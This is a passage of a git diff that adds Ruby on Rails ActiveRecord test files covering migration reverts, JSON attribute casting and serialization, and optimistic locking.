+      assert migration.connection.table_exists?("horses")
+      assert !migration.connection.table_exists?("new_horses")
+    end
+
+    def test_migrate_revert_whole_migration
+      migration = InvertibleMigration.new
+      [LegacyMigration, InvertibleMigration].each do |klass|
+        revert = RevertWholeMigration.new(klass)
+        migration.migrate :up
+        revert.migrate :up
+        assert !migration.connection.table_exists?("horses")
+        revert.migrate :down
+        assert migration.connection.table_exists?("horses")
+        migration.migrate :down
+        assert !migration.connection.table_exists?("horses")
+      end
+    end
+
+    def test_migrate_nested_revert_whole_migration
+      revert = NestedRevertWholeMigration.new(InvertibleRevertMigration)
+      revert.migrate :down
+      assert revert.connection.table_exists?("horses")
+      revert.migrate :up
+      assert !revert.connection.table_exists?("horses")
+    end
+
+    def test_migrate_revert_change_column_default
+      migration1 = ChangeColumnDefault1.new
+      migration1.migrate(:up)
+      assert_equal "Sekitoba", Horse.new.name
+
+      migration2 = ChangeColumnDefault2.new
+      migration2.migrate(:up)
+      Horse.reset_column_information
+      assert_equal "Diomed", Horse.new.name
+
+      migration2.migrate(:down)
+      Horse.reset_column_information
+      assert_equal "Sekitoba", Horse.new.name
+    end
+
+    if current_adapter?(:PostgreSQLAdapter)
+      def test_migrate_enable_and_disable_extension
+        migration1 = InvertibleMigration.new
+        migration2 = DisableExtension1.new
+        migration3 = DisableExtension2.new
+
+        migration1.migrate(:up)
+        migration2.migrate(:up)
+        assert_equal true, Horse.connection.extension_enabled?("hstore")
+
+        migration3.migrate(:up)
+        assert_equal false, Horse.connection.extension_enabled?("hstore")
+
+        migration3.migrate(:down)
+        assert_equal true, Horse.connection.extension_enabled?("hstore")
+
+        migration2.migrate(:down)
+        assert_equal false, Horse.connection.extension_enabled?("hstore")
+      end
+    end
+
+    def test_revert_order
+      block = Proc.new { |t| t.string :name }
+      recorder = ActiveRecord::Migration::CommandRecorder.new(ActiveRecord::Base.connection)
+      recorder.instance_eval do
+        create_table("apples", &block)
+        revert do
+          create_table("bananas", &block)
+          revert do
+            create_table("clementines")
+            create_table("dates")
+          end
+          create_table("elderberries")
+        end
+        revert do
+          create_table("figs")
+          create_table("grapes")
+        end
+      end
+      assert_equal [[:create_table, ["apples"], block], [:drop_table, ["elderberries"], nil],
+                    [:create_table, ["clementines"], nil], [:create_table, ["dates"], nil],
+                    [:drop_table, ["bananas"], block], [:drop_table, ["grapes"], nil],
+                    [:drop_table, ["figs"], nil]], recorder.commands
+    end
+
+    def test_legacy_up
+      LegacyMigration.migrate :up
+      assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist"
+    end
+
+    def test_legacy_down
+      LegacyMigration.migrate :up
+      LegacyMigration.migrate :down
+      assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist"
+    end
+
+    def test_up
+      LegacyMigration.up
+      assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist"
+    end
+
+    def test_down
+      LegacyMigration.up
+      LegacyMigration.down
+      assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist"
+    end
+
+    def test_migrate_down_with_table_name_prefix
+      ActiveRecord::Base.table_name_prefix = "p_"
+      ActiveRecord::Base.table_name_suffix = "_s"
+      migration = InvertibleMigration.new
+      migration.migrate(:up)
+      assert_nothing_raised { migration.migrate(:down) }
+      assert !ActiveRecord::Base.connection.table_exists?("p_horses_s"), "p_horses_s should not exist"
+    ensure
+      ActiveRecord::Base.table_name_prefix = ActiveRecord::Base.table_name_suffix = ""
+    end
+
+    def test_migrations_can_handle_foreign_keys_to_specific_tables
+      migration = RevertCustomForeignKeyTable.new
+      InvertibleMigration.migrate(:up)
+      migration.migrate(:up)
+      migration.migrate(:down)
+    end
+
+    # MySQL 5.7 and Oracle do not allow to create duplicate indexes on the same columns
+    unless current_adapter?(:Mysql2Adapter, :OracleAdapter)
+      def test_migrate_revert_add_index_with_name
+        RevertNamedIndexMigration1.new.migrate(:up)
+        RevertNamedIndexMigration2.new.migrate(:up)
+        RevertNamedIndexMigration2.new.migrate(:down)
+
+        connection = ActiveRecord::Base.connection
+        assert connection.index_exists?(:horses, :content),
+               "index on content should exist"
+        assert !connection.index_exists?(:horses, :content, name: "horses_index_named"),
+              "horses_index_named index should not exist"
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/json_attribute_test.rb b/activerecord/test/cases/json_attribute_test.rb
new file mode 100644
index 0000000000..63f3c77fc3
--- /dev/null
+++ b/activerecord/test/cases/json_attribute_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "cases/json_shared_test_cases"
+
+class JsonAttributeTest < ActiveRecord::TestCase
+  include JSONSharedTestCases
+  self.use_transactional_tests = false
+
+  class JsonDataTypeOnText < ActiveRecord::Base
+    self.table_name = "json_data_type"
+
+    attribute :payload,  :json
+    attribute :settings, :json
+
+    store_accessor :settings, :resolution
+  end
+
+  def setup
+    super
+    @connection.create_table("json_data_type") do |t|
+      t.text "payload"
+      t.text "settings"
+    end
+  end
+
+  private
+    def column_type
+      :text
+    end
+
+    def klass
+      JsonDataTypeOnText
+    end
+end
diff --git a/activerecord/test/cases/json_serialization_test.rb b/activerecord/test/cases/json_serialization_test.rb
new file mode 100644
index 0000000000..52fe488cd5
--- /dev/null
+++ b/activerecord/test/cases/json_serialization_test.rb
@@ -0,0 +1,311 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/contact"
+require "models/post"
+require "models/author"
+require "models/tagging"
+require "models/tag"
+require "models/comment"
+
+module JsonSerializationHelpers
+  private
+
+    def set_include_root_in_json(value)
+      original_root_in_json = ActiveRecord::Base.include_root_in_json
+      ActiveRecord::Base.include_root_in_json = value
+      yield
+    ensure
+      ActiveRecord::Base.include_root_in_json = original_root_in_json
+    end
+end
+
+class JsonSerializationTest < ActiveRecord::TestCase
+  include JsonSerializationHelpers
+
+  class NamespacedContact < Contact
+    column :name, :string
+  end
+
+  def setup
+    @contact = Contact.new(
+      name: "Konata Izumi",
+      age: 16,
+      avatar: "binarydata",
+      created_at: Time.utc(2006, 8, 1),
+      awesome: true,
+      preferences: { shows: "anime" }
+    )
+  end
+
+  def test_should_demodulize_root_in_json
+    set_include_root_in_json(true) do
+      @contact = NamespacedContact.new name: "whatever"
+      json = @contact.to_json
+      assert_match %r{^\{"namespaced_contact":\{}, json
+    end
+  end
+
+  def test_should_include_root_in_json
+    set_include_root_in_json(true) do
+      json = @contact.to_json
+
+      assert_match %r{^\{"contact":\{}, json
+      assert_match %r{"name":"Konata Izumi"}, json
+      assert_match %r{"age":16}, json
+      assert_includes json, %("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))})
+      assert_match %r{"awesome":true}, json
+      assert_match %r{"preferences":\{"shows":"anime"\}}, json
+    end
+  end
+
+  def test_should_encode_all_encodable_attributes
+    json = @contact.to_json
+
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"age":16}, json
+    assert_includes json, %("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))})
+    assert_match %r{"awesome":true}, json
+    assert_match %r{"preferences":\{"shows":"anime"\}}, json
+  end
+
+  def test_should_allow_attribute_filtering_with_only
+    json = @contact.to_json(only: [:name, :age])
+
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"age":16}, json
+    assert_no_match %r{"awesome":true}, json
+    assert_not_includes json, %("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))})
+    assert_no_match %r{"preferences":\{"shows":"anime"\}}, json
+  end
+
+  def test_should_allow_attribute_filtering_with_except
+    json = @contact.to_json(except: [:name, :age])
+
+    assert_no_match %r{"name":"Konata Izumi"}, json
+    assert_no_match %r{"age":16}, json
+    assert_match %r{"awesome":true}, json
+    assert_includes json, %("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))})
+    assert_match %r{"preferences":\{"shows":"anime"\}}, json
+  end
+
+  def test_methods_are_called_on_object
+    # Define methods on fixture.
+    def @contact.label; "Has cheezburger"; end
+    def @contact.favorite_quote; "Constraints are liberating"; end
+
+    # Single method.
+    assert_match %r{"label":"Has cheezburger"}, @contact.to_json(only: :name, methods: :label)
+
+    # Both methods.
+    methods_json = @contact.to_json(only: :name, methods: [:label, :favorite_quote])
+    assert_match %r{"label":"Has cheezburger"}, methods_json
+    assert_match %r{"favorite_quote":"Constraints are liberating"}, methods_json
+  end
+
+  def test_uses_serializable_hash_with_frozen_hash
+    def @contact.serializable_hash(options = nil)
+      super({ only: %w(name) }.freeze)
+    end
+
+    json = @contact.to_json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_no_match %r{awesome}, json
+    assert_no_match %r{age}, json
+  end
+
+  def test_uses_serializable_hash_with_only_option
+    def @contact.serializable_hash(options = nil)
+      super(only: %w(name))
+    end
+
+    json = @contact.to_json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_no_match %r{awesome}, json
+    assert_no_match %r{age}, json
+  end
+
+  def test_uses_serializable_hash_with_except_option
+    def @contact.serializable_hash(options = nil)
+      super(except: %w(age))
+    end
+
+    json = @contact.to_json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"awesome":true}, json
+    assert_no_match %r{age}, json
+  end
+
+  def test_does_not_include_inheritance_column_from_sti
+    @contact = ContactSti.new(@contact.attributes)
+    assert_equal "ContactSti", @contact.type
+
+    json = @contact.to_json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_no_match %r{type}, json
+    assert_no_match %r{ContactSti}, json
+  end
+
+  def test_serializable_hash_with_default_except_option_and_excluding_inheritance_column_from_sti
+    @contact = ContactSti.new(@contact.attributes)
+    assert_equal "ContactSti", @contact.type
+
+    def @contact.serializable_hash(options = {})
+      super({ except: %w(age) }.merge!(options))
+    end
+
+    json = @contact.to_json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_no_match %r{age}, json
+    assert_no_match %r{type}, json
+    assert_no_match %r{ContactSti}, json
+  end
+
+  def test_serializable_hash_should_not_modify_options_in_argument
+    options = { only: :name }.freeze
+    assert_nothing_raised { @contact.serializable_hash(options) }
+  end
+end
+
+class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :posts, :comments, :tags, :taggings
+
+  include JsonSerializationHelpers
+
+  def setup
+    @david = authors(:david)
+    @mary = authors(:mary)
+  end
+
+  def test_includes_uses_association_name
+    json = @david.to_json(include: :posts)
+
+    assert_match %r{"posts":\[}, json
+
+    assert_match %r{"id":1}, json
+    assert_match %r{"name":"David"}, json
+
+    assert_match %r{"author_id":1}, json
+    assert_match %r{"title":"Welcome to the weblog"}, json
+    assert_match %r{"body":"Such a lovely day"}, json
+
+    assert_match %r{"title":"So I was thinking"}, json
+    assert_match %r{"body":"Like I hopefully always am"}, json
+  end
+
+  def test_includes_uses_association_name_and_applies_attribute_filters
+    json = @david.to_json(include: { posts: { only: :title } })
+
+    assert_match %r{"name":"David"}, json
+    assert_match %r{"posts":\[}, json
+
+    assert_match %r{"title":"Welcome to the weblog"}, json
+    assert_no_match %r{"body":"Such a lovely day"}, json
+
+    assert_match %r{"title":"So I was thinking"}, json
+    assert_no_match %r{"body":"Like I hopefully always am"}, json
+  end
+
+  def test_includes_fetches_second_level_associations
+    json = @david.to_json(include: { posts: { include: { comments: { only: :body } } } })
+
+    assert_match %r{"name":"David"}, json
+    assert_match %r{"posts":\[}, json
+
+    assert_match %r{"comments":\[}, json
+    assert_match %r{\{"body":"Thank you again for the welcome"\}}, json
+    assert_match %r{\{"body":"Don't think too hard"\}}, json
+    assert_no_match %r{"post_id":}, json
+  end
+
+  def test_includes_fetches_nth_level_associations
+    json = @david.to_json(
+      include: {
+        posts: {
+          include: {
+            taggings: {
+              include: {
+                tag: { only: :name }
+              }
+            }
+          }
+        }
+    })
+
+    assert_match %r{"name":"David"}, json
+    assert_match %r{"posts":\[}, json
+
+    assert_match %r{"taggings":\[}, json
+    assert_match %r{"tag":\{"name":"General"\}}, json
+  end
+
+  def test_includes_doesnt_merge_opts_from_base
+    json = @david.to_json(
+      only: :id,
+      include: :posts
+    )
+
+    assert_match %{"title":"Welcome to the weblog"}, json
+  end
+
+  def test_should_not_call_methods_on_associations_that_dont_respond
+    def @david.favorite_quote; "Constraints are liberating"; end
+    json = @david.to_json(include: :posts, methods: :favorite_quote)
+
+    assert !@david.posts.first.respond_to?(:favorite_quote)
+    assert_match %r{"favorite_quote":"Constraints are liberating"}, json
+    assert_equal 1, %r{"favorite_quote":}.match(json).size
+  end
+
+  def test_should_allow_only_option_for_list_of_authors
+    set_include_root_in_json(false) do
+      authors = [@david, @mary]
+      assert_equal %([{"name":"David"},{"name":"Mary"}]), ActiveSupport::JSON.encode(authors, only: :name)
+    end
+  end
+
+  def test_should_allow_except_option_for_list_of_authors
+    set_include_root_in_json(false) do
+      authors = [@david, @mary]
+      encoded = ActiveSupport::JSON.encode(authors, except: [
+        :name, :author_address_id, :author_address_extra_id,
+        :organization_id, :owned_essay_id
+      ])
+      assert_equal %([{"id":1},{"id":2}]), encoded
+    end
+  end
+
+  def test_should_allow_includes_for_list_of_authors
+    authors = [@david, @mary]
+    json = ActiveSupport::JSON.encode(authors,
+      only: :name,
+      include: {
+        posts: { only: :id }
+      }
+    )
+
+    ['"name":"David"', '"posts":[', '{"id":1}', '{"id":2}', '{"id":4}',
+     '{"id":5}', '{"id":6}', '"name":"Mary"', '"posts":[', '{"id":7}', '{"id":9}'].each do |fragment|
+       assert_includes json, fragment, json
+     end
+  end
+
+  def test_should_allow_options_for_hash_of_authors
+    set_include_root_in_json(true) do
+      authors_hash = {
+        1 => @david,
+        2 => @mary
+      }
+      assert_equal %({"1":{"author":{"name":"David"}}}), ActiveSupport::JSON.encode(authors_hash, only: [1, :name])
+    end
+  end
+
+  def test_should_be_able_to_encode_relation
+    set_include_root_in_json(true) do
+      authors_relation = Author.where(id: [@david.id, @mary.id])
+
+      json = ActiveSupport::JSON.encode authors_relation, only: :name
+      assert_equal '[{"author":{"name":"David"}},{"author":{"name":"Mary"}}]', json
+    end
+  end
+end
diff --git a/activerecord/test/cases/json_shared_test_cases.rb b/activerecord/test/cases/json_shared_test_cases.rb
new file mode 100644
index 0000000000..f708acf0aa
--- /dev/null
+++ b/activerecord/test/cases/json_shared_test_cases.rb
@@ -0,0 +1,223 @@
+# frozen_string_literal: true
+
+require "support/schema_dumping_helper"
+
+module JSONSharedTestCases
+  include SchemaDumpingHelper
+
+  class JsonDataType < ActiveRecord::Base
+    self.table_name = "json_data_type"
+
+    store_accessor :settings, :resolution
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def teardown
+    @connection.drop_table :json_data_type, if_exists: true
+    klass.reset_column_information
+  end
+
+  def test_column
+    column = klass.columns_hash["payload"]
+    assert_equal column_type, column.type
+    assert_equal column_type.to_s, column.sql_type
+
+    type = klass.type_for_attribute("payload")
+    assert_not type.binary?
+  end
+
+  def test_change_table_supports_json
+    @connection.change_table("json_data_type") do |t|
+      t.public_send column_type, "users"
+    end
+    klass.reset_column_information
+    column = klass.columns_hash["users"]
+    assert_equal column_type, column.type
+    assert_equal column_type.to_s, column.sql_type
+  end
+
+  def test_schema_dumping
+    output = dump_table_schema("json_data_type")
+    assert_match(/t\.#{column_type}\s+"settings"/, output)
+  end
+
+  def test_cast_value_on_write
+    x = klass.new(payload: { "string" => "foo", :symbol => :bar })
+    assert_equal({ "string" => "foo", :symbol => :bar }, x.payload_before_type_cast)
+    assert_equal({ "string" => "foo", "symbol" => "bar" }, x.payload)
+    x.save!
+    assert_equal({ "string" => "foo", "symbol" => "bar" }, x.reload.payload)
+  end
+
+  def test_type_cast_json
+    type = klass.type_for_attribute("payload")
+
+    data = '{"a_key":"a_value"}'
+    hash = type.deserialize(data)
+    assert_equal({ "a_key" => "a_value" }, hash)
+    assert_equal({ "a_key" => "a_value" }, type.deserialize(data))
+
+    assert_equal({}, type.deserialize("{}"))
+    assert_equal({ "key" => nil }, type.deserialize('{"key": null}'))
+    assert_equal({ "c" => "}", '"a"' => 'b "a b' }, type.deserialize(%q({"c":"}", "\"a\"":"b \"a b"})))
+  end
+
+  def test_rewrite
+    @connection.execute(%q|insert into json_data_type (payload) VALUES ('{"k":"v"}')|)
+    x = klass.first
+    x.payload = { '"a\'' => "b" }
+    assert x.save!
+  end
+
+  def test_select
+    @connection.execute(%q|insert into json_data_type (payload) VALUES ('{"k":"v"}')|)
+    x = klass.first
+    assert_equal({ "k" => "v" }, x.payload)
+  end
+
+  def test_select_multikey
+    @connection.execute(%q|insert into json_data_type (payload) VALUES ('{"k1":"v1", "k2":"v2", "k3":[1,2,3]}')|)
+    x = klass.first
+    assert_equal({ "k1" => "v1", "k2" => "v2", "k3" => [1, 2, 3] }, x.payload)
+  end
+
+  def test_null_json
+    @connection.execute("insert into json_data_type (payload) VALUES(null)")
+    x = klass.first
+    assert_nil(x.payload)
+  end
+
+  def test_select_nil_json_after_create
+    json = klass.create!(payload: nil)
+    x = klass.where(payload: nil).first
+    assert_equal(json, x)
+  end
+
+  def test_select_nil_json_after_update
+    json = klass.create!(payload: "foo")
+    x = klass.where(payload: nil).first
+    assert_nil(x)
+
+    json.update_attributes(payload: nil)
+    x = klass.where(payload: nil).first
+    assert_equal(json.reload, x)
+  end
+
+  def test_select_array_json_value
+    @connection.execute(%q|insert into json_data_type (payload) VALUES ('["v0",{"k1":"v1"}]')|)
+    x = klass.first
+    assert_equal(["v0", { "k1" => "v1" }], x.payload)
+  end
+
+  def test_rewrite_array_json_value
+    @connection.execute(%q|insert into json_data_type (payload) VALUES ('["v0",{"k1":"v1"}]')|)
+    x = klass.first
+    x.payload = ["v1", { "k2" => "v2" }, "v3"]
+    assert x.save!
+  end
+
+  def test_with_store_accessors
+    x = klass.new(resolution: "320×480")
+    assert_equal "320×480", x.resolution
+
+    x.save!
+    x = klass.first
+    assert_equal "320×480", x.resolution
+
+    x.resolution = "640×1136"
+    x.save!
+
+    x = klass.first
+    assert_equal "640×1136", x.resolution
+  end
+
+  def test_duplication_with_store_accessors
+    x = klass.new(resolution: "320×480")
+    assert_equal "320×480", x.resolution
+
+    y = x.dup
+    assert_equal "320×480", y.resolution
+  end
+
+  def test_yaml_round_trip_with_store_accessors
+    x = klass.new(resolution: "320×480")
+    assert_equal "320×480", x.resolution
+
+    y = YAML.load(YAML.dump(x))
+    assert_equal "320×480", y.resolution
+  end
+
+  def test_changes_in_place
+    json = klass.new
+    assert_not json.changed?
+
+    json.payload = { "one" => "two" }
+    assert json.changed?
+    assert json.payload_changed?
+
+    json.save!
+    assert_not json.changed?
+
+    json.payload["three"] = "four"
+    assert json.payload_changed?
+
+    json.save!
+    json.reload
+
+    assert_equal({ "one" => "two", "three" => "four" }, json.payload)
+    assert_not json.changed?
+  end
+
+  def test_changes_in_place_ignores_key_order
+    json = klass.new
+    assert_not json.changed?
+
+    json.payload = { "three" => "four", "one" => "two" }
+    json.save!
+    json.reload
+
+    json.payload = { "three" => "four", "one" => "two" }
+    assert_not json.changed?
+
+    json.payload = [{ "three" => "four", "one" => "two" }, { "seven" => "eight", "five" => "six" }]
+    json.save!
+    json.reload
+
+    json.payload = [{ "three" => "four", "one" => "two" }, { "seven" => "eight", "five" => "six" }]
+    assert_not json.changed?
+  end
+
+  def test_changes_in_place_with_ruby_object
+    time = Time.now.utc
+    json = klass.create!(payload: time)
+
+    json.reload
+    assert_not json.changed?
+
+    json.payload = time
+    assert_not json.changed?
+  end
+
+  def test_assigning_string_literal
+    json = klass.create!(payload: "foo")
+    assert_equal "foo", json.payload
+  end
+
+  def test_assigning_number
+    json = klass.create!(payload: 1.234)
+    assert_equal 1.234, json.payload
+  end
+
+  def test_assigning_boolean
+    json = klass.create!(payload: true)
+    assert_equal true, json.payload
+  end
+
+  private
+    def klass
+      JsonDataType
+    end
+end
diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb
new file mode 100644
index 0000000000..743680ba92
--- /dev/null
+++ b/activerecord/test/cases/locking_test.rb
@@ -0,0 +1,651 @@
+# frozen_string_literal: true
+
+require "thread"
+require "cases/helper"
+require "models/person"
+require "models/job"
+require "models/reader"
+require "models/ship"
+require "models/legacy_thing"
+require "models/personal_legacy_thing"
+require "models/reference"
+require "models/string_key_object"
+require "models/car"
+require "models/bulb"
+require "models/engine"
+require "models/wheel"
+require "models/treasure"
+
+class LockWithoutDefault < ActiveRecord::Base; end
+
+class LockWithCustomColumnWithoutDefault < ActiveRecord::Base
+  self.table_name = :lock_without_defaults_cust
+  column_defaults # to test @column_defaults caching.
+  self.locking_column = :custom_lock_version
+end
+
+class ReadonlyNameShip < Ship
+  attr_readonly :name
+end
+
+class OptimisticLockingTest < ActiveRecord::TestCase
+  fixtures :people, :legacy_things, :references, :string_key_objects, :peoples_treasures
+
+  def test_quote_value_passed_lock_col
+    p1 = Person.find(1)
+    assert_equal 0, p1.lock_version
+
+    p1.first_name = "anika2"
+    p1.save!
+
+    assert_equal 1, p1.lock_version
+  end
+
+  def test_non_integer_lock_existing
+    s1 = StringKeyObject.find("record1")
+    s2 = StringKeyObject.find("record1")
+    assert_equal 0, s1.lock_version
+    assert_equal 0, s2.lock_version
+
+    s1.name = "updated record"
+    s1.save!
+    assert_equal 1, s1.lock_version
+    assert_equal 0, s2.lock_version
+
+    s2.name = "doubly updated record"
+    assert_raise(ActiveRecord::StaleObjectError) { s2.save! }
+  end
+
+  def test_non_integer_lock_destroy
+    s1 = StringKeyObject.find("record1")
+    s2 = StringKeyObject.find("record1")
+    assert_equal 0, s1.lock_version
+    assert_equal 0, s2.lock_version
+
+    s1.name = "updated record"
+    s1.save!
+    assert_equal 1, s1.lock_version
+    assert_equal 0, s2.lock_version
+    assert_raise(ActiveRecord::StaleObjectError) { s2.destroy }
+
+    assert s1.destroy
+    assert s1.frozen?
+    assert s1.destroyed?
+    assert_raises(ActiveRecord::RecordNotFound) { StringKeyObject.find("record1") }
+  end
+
+  def test_lock_existing
+    p1 = Person.find(1)
+    p2 = Person.find(1)
+    assert_equal 0, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p1.first_name = "stu"
+    p1.save!
+    assert_equal 1, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p2.first_name = "sue"
+    assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
+  end
+
+  # See Lighthouse ticket #1966
+  def test_lock_destroy
+    p1 = Person.find(1)
+    p2 = Person.find(1)
+    assert_equal 0, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p1.first_name = "stu"
+    p1.save!
+    assert_equal 1, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    assert_raises(ActiveRecord::StaleObjectError) { p2.destroy }
+
+    assert p1.destroy
+    assert p1.frozen?
+    assert p1.destroyed?
+    assert_raises(ActiveRecord::RecordNotFound) { Person.find(1) }
+  end
+
+  def test_lock_repeating
+    p1 = Person.find(1)
+    p2 = Person.find(1)
+    assert_equal 0, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p1.first_name = "stu"
+    p1.save!
+    assert_equal 1, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p2.first_name = "sue"
+    assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
+    p2.first_name = "sue2"
+    assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
+  end
+
+  def test_lock_new
+    p1 = Person.new(first_name: "anika")
+    assert_equal 0, p1.lock_version
+
+    p1.first_name = "anika2"
+    p1.save!
+    p2 = Person.find(p1.id)
+    assert_equal 0, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p1.first_name = "anika3"
+    p1.save!
+    assert_equal 1, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p2.first_name = "sue"
+    assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
+  end
+
+  def test_lock_exception_record
+    p1 = Person.new(first_name: "mira")
+    assert_equal 0, p1.lock_version
+
+    p1.first_name = "mira2"
+    p1.save!
+    p2 = Person.find(p1.id)
+    assert_equal 0, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p1.first_name = "mira3"
+    p1.save!
+
+    p2.first_name = "sue"
+    error = assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
+    assert_equal(error.record.object_id, p2.object_id)
+  end
+
+  def test_lock_new_when_explicitly_passing_nil
+    p1 = Person.new(first_name: "anika", lock_version: nil)
+    p1.save!
+    assert_equal 0, p1.lock_version
+  end
+
+  def test_lock_new_when_explicitly_passing_value
+    p1 = Person.new(first_name: "Douglas Adams", lock_version: 42)
+    p1.save!
+    assert_equal 42, p1.lock_version
+  end
+
+  def test_touch_existing_lock
+    p1 = Person.find(1)
+    assert_equal 0, p1.lock_version
+
+    p1.touch
+    assert_equal 1, p1.lock_version
+    assert_not p1.changed?, "Changes should have been cleared"
+  end
+
+  def test_touch_stale_object
+    person = Person.create!(first_name: "Mehmet Emin")
+    stale_person = Person.find(person.id)
+    person.update_attribute(:gender, "M")
+
+    assert_raises(ActiveRecord::StaleObjectError) do
+      stale_person.touch
+    end
+  end
+
+  def test_explicit_update_lock_column_raise_error
+    person = Person.find(1)
+
+    assert_raises(ActiveRecord::StaleObjectError) do
+      person.first_name = "Douglas Adams"
+      person.lock_version = 42
+
+      assert person.lock_version_changed?
+
+      person.save
+    end
+  end
+
+  def test_lock_column_name_existing
+    t1 = LegacyThing.find(1)
+    t2 = LegacyThing.find(1)
+    assert_equal 0, t1.version
+    assert_equal 0, t2.version
+
+    t1.tps_report_number = 700
+    t1.save!
+    assert_equal 1, t1.version
+    assert_equal 0, t2.version
+
+    t2.tps_report_number = 800
+    assert_raise(ActiveRecord::StaleObjectError) { t2.save! }
+  end
+
+  def test_lock_column_is_mass_assignable
+    p1 = Person.create(first_name: "bianca")
+    assert_equal 0, p1.lock_version
+    assert_equal p1.lock_version, Person.new(p1.attributes).lock_version
+
+    p1.first_name = "bianca2"
+    p1.save!
+    assert_equal 1, p1.lock_version
+    assert_equal p1.lock_version, Person.new(p1.attributes).lock_version
+  end
+
+  def test_lock_without_default_sets_version_to_zero
+    t1 = LockWithoutDefault.new
+
+    assert_equal 0, t1.lock_version
+    assert_nil t1.lock_version_before_type_cast
+
+    t1.save!
+    t1.reload
+
+    assert_equal 0, t1.lock_version
+    assert_equal 0, t1.lock_version_before_type_cast
+  end
+
+  def test_touch_existing_lock_without_default_should_work_with_null_in_the_database
+    ActiveRecord::Base.connection.execute("INSERT INTO lock_without_defaults(title) VALUES('title1')")
+    t1 = LockWithoutDefault.last
+
+    assert_equal 0, t1.lock_version
+    assert_nil t1.lock_version_before_type_cast
+
+    t1.touch
+
+    assert_equal 1, t1.lock_version
+  end
+
+  def test_touch_stale_object_with_lock_without_default
+    t1 = LockWithoutDefault.create!(title: "title1")
+    stale_object = LockWithoutDefault.find(t1.id)
+
+    t1.update!(title: "title2")
+
+    assert_raises(ActiveRecord::StaleObjectError) do
+      stale_object.touch
+    end
+  end
+
+  def test_lock_without_default_should_work_with_null_in_the_database
+    ActiveRecord::Base.connection.execute("INSERT INTO lock_without_defaults(title) VALUES('title1')")
+    t1 = LockWithoutDefault.last
+    t2 = LockWithoutDefault.find(t1.id)
+
+    assert_equal 0, t1.lock_version
+    assert_nil t1.lock_version_before_type_cast
+    assert_equal 0, t2.lock_version
+    assert_nil t2.lock_version_before_type_cast
+
+    t1.title = "new title1"
+    t2.title = "new title2"
+
+    assert_nothing_raised { t1.save! }
+    assert_equal 1, t1.lock_version
+    assert_equal "new title1", t1.title
+
+    assert_raise(ActiveRecord::StaleObjectError) { t2.save! }
+    assert_equal 0, t2.lock_version
+    assert_equal "new title2", t2.title
+  end
+
+  def test_lock_without_default_queries_count
+    t1 = LockWithoutDefault.create(title: "title1")
+
+    assert_equal "title1", t1.title
+    assert_equal 0, t1.lock_version
+
+    assert_queries(1) { t1.update(title: "title2") }
+
+    t1.reload
+    assert_equal "title2", t1.title
+    assert_equal 1, t1.lock_version
+
+    t2 = LockWithoutDefault.new(title: "title1")
+
+    assert_queries(1) { t2.save! }
+
+    t2.reload
+    assert_equal "title1", t2.title
+    assert_equal 0, t2.lock_version
+  end
+
+  def test_lock_with_custom_column_without_default_sets_version_to_zero
+    t1 = LockWithCustomColumnWithoutDefault.new
+
+    assert_equal 0, t1.custom_lock_version
+    assert_nil t1.custom_lock_version_before_type_cast
+
+    t1.save!
+    t1.reload
+
+    assert_equal 0, t1.custom_lock_version
+    assert_equal 0, t1.custom_lock_version_before_type_cast
+  end
+
+  def test_lock_with_custom_column_without_default_should_work_with_null_in_the_database
+    ActiveRecord::Base.connection.execute("INSERT INTO lock_without_defaults_cust(title) VALUES('title1')")
+
+    t1 = LockWithCustomColumnWithoutDefault.last
+    t2 = LockWithCustomColumnWithoutDefault.find(t1.id)
+
+    assert_equal 0, t1.custom_lock_version
+    assert_nil t1.custom_lock_version_before_type_cast
+    assert_equal 0, t2.custom_lock_version
+    assert_nil t2.custom_lock_version_before_type_cast
+
+    t1.title = "new title1"
+    t2.title = "new title2"
+
+    assert_nothing_raised { t1.save! }
+    assert_equal 1, t1.custom_lock_version
+    assert_equal "new title1", t1.title
+
+    assert_raise(ActiveRecord::StaleObjectError) { t2.save! }
+    assert_equal 0, t2.custom_lock_version
+    assert_equal "new title2", t2.title
+  end
+
+  def test_lock_with_custom_column_without_default_queries_count
+    t1 = LockWithCustomColumnWithoutDefault.create(title: "title1")
+
+    assert_equal "title1", t1.title
+    assert_equal 0, t1.custom_lock_version
+
+    assert_queries(1) { t1.update(title: "title2") }
+
+    t1.reload
+    assert_equal "title2", t1.title
+    assert_equal 1, t1.custom_lock_version
+
+    t2 = LockWithCustomColumnWithoutDefault.new(title: "title1")
+
+    assert_queries(1) { t2.save! }
+
